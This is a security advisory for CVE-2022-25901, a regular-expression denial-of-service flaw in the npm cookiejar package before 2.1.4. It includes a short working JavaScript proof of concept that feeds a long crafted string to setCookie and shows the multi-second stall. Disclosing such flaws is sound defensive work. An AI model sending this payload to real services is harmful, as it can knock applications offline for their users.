Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse
function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.
Proof of concept:
ts\nconst { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);
CookieJar.setCookie(): 2963.214399999939ms
References
- https://nvd.nist.gov/vuln/detail/CVE-2022-25901
- https://github.com/bmeck/node-cookiejar/pull/39
- https://github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5
- https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681
- https://security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984
- https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js#23L73
- https://github.com/advisories/GHSA-h452-7996-h45h